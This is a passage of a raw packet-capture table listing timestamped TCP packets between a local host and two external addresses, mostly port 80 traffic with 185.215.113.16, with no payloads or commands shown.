Nov 18, 2024 20:21:35.252082109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252098083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252121925 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.252126932 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252137899 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252150059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252161980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252171993 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.252177954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252203941 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.252228975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252239943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252253056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252283096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.252306938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252314091 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.252320051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252332926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.252360106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264336109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264353991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264374971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264388084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264400959 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264415026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264435053 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264518976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264589071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264592886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264600992 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264601946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264625072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264636040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264636993 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264647961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264659882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264683962 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264710903 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264870882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264892101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264903069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264915943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264929056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264931917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264940023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.264959097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.264980078 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.266139030 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.266575098 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.267659903 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.267750025 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.267766953 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.267777920 CET	49778	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.267782927 CET	443	49778	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.269025087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269041061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269052982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269064903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269081116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269093037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269093990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269104958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269124985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269124985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269139051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269145966 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269150972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269162893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269164085 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269175053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269187927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269191980 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269215107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269217968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269227982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269239902 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269251108 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269278049 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269377947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269388914 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269401073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269412994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269424915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269429922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269437075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269448996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269462109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269464970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269474983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269486904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269491911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269512892 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269522905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269530058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269541025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269551992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269566059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269576073 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269603014 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269679070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269695044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269706964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269721031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269735098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269747019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269747019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269759893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269773006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269776106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269784927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269795895 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269798040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269813061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269814968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269834995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269840956 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269846916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269859076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269869089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269869089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269895077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269906998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269908905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269918919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269931078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269932985 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269942999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269963980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269964933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269975901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.269984961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.269988060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270004034 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270018101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270030022 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270034075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270057917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270070076 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270093918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270106077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270117044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270128012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270139933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270143032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270168066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270435095 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.270487070 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.270620108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270714045 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.270773888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.270802021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.270836115 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.270848036 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.316431046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.316450119 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.316464901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.316564083 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.371879101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371896982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371910095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371926069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371938944 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371952057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.371958017 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.371984959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372035980 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372050047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372128010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372138023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372148991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372163057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372172117 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372185946 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372270107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372282028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372287989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372293949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372306108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372334957 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372368097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372379065 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372386932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372391939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372402906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.372416019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372442007 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.372575045 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384537935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384550095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384561062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384576082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384588957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384599924 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.384603977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.384659052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385196924 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385206938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385214090 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385235071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385246992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385258913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385286093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385297060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385308981 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385310888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385339022 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385484934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385497093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385509968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385521889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385535955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.385540009 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385562897 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385576010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.385808945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388561010 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388576984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388590097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388612032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388612986 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388623953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388629913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388636112 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388642073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388645887 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388649940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388657093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388669014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388672113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388731956 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388761997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388876915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388889074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388900042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388911963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388919115 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388925076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388937950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.388940096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.388943911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.389008999 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390074015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390086889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390108109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390114069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390120983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390127897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390136003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390170097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390244007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390256882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390268087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390280008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390286922 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390291929 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390305996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390316963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390320063 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390322924 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390331984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390343904 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390376091 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390377998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390388966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390394926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390399933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390404940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390413046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390450954 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390484095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390511036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390525103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390542030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390552044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390558958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390559912 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390566111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390616894 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390682936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390695095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390703917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390726089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390727043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390739918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390742064 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390746117 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390752077 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390758038 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390763998 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390799046 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390832901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390837908 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390842915 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390850067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390856028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390862942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390887022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.390896082 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.390898943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.391839981 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.436722994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.436770916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.436796904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.436893940 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493352890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493428946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493483067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493515968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493522882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493561029 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493566990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493602037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493634939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493643045 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493666887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493700981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493731976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493747950 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493766069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493774891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493798971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493834019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493834972 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493866920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493900061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493906021 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.493932009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.493964911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.494002104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.494013071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.494399071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.504919052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.504991055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.505026102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.505043983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.505079985 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.505090952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.505130053 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:35.505203962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:35.505244017 CET	80	49748	185.215.113.16	192.168.2.5
